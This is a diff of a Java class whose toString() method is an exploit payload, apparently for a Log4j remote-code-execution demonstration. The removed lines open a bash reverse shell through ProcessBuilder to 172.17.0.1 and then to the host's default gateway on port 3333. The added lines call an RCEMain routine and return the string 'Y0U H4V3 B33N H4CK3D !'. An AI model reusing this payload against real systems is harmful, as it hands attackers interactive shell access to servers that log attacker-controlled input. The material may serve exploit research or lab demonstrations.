|
|
@ -8,22 +8,16 @@ public class MadeClass { |
|
|
|
@Override |
|
|
|
public String toString() { |
|
|
|
|
|
|
|
// Add instrumentation
|
|
|
|
System.out.println("RCE Acheived in MadeClass::toString!"); |
|
|
|
|
|
|
|
// Reverse shell
|
|
|
|
ProcessBuilder processBuilder = new ProcessBuilder(); |
|
|
|
processBuilder.command("bash", "-c", "bash -i >& /dev/tcp/172.17.0.1/3333 0>&1"); |
|
|
|
processBuilder.command("bash", "-c", "bash -i >& /dev/tcp/`ip route | grep default | cut -d ' ' -f 3`/3333 0>&1"); |
|
|
|
try { |
|
|
|
processBuilder.start(); |
|
|
|
} catch (Exception e) { |
|
|
|
e.printStackTrace(); |
|
|
|
} |
|
|
|
|
|
|
|
System.out.println("REVERSE SHELL :)"); |
|
|
|
RCEMain.rceMain(); |
|
|
|
|
|
|
|
// We could choose not to return. However, the caller is expecting an
|
|
|
|
// object of String. I choose to give them something.
|
|
|
|
return "MadeClass"; |
|
|
|
// Return a string for Log4j to have something to log
|
|
|
|
return "Y0U H4V3 B33N H4CK3D !"; |
|
|
|
} |
|
|
|
} |
|
|
|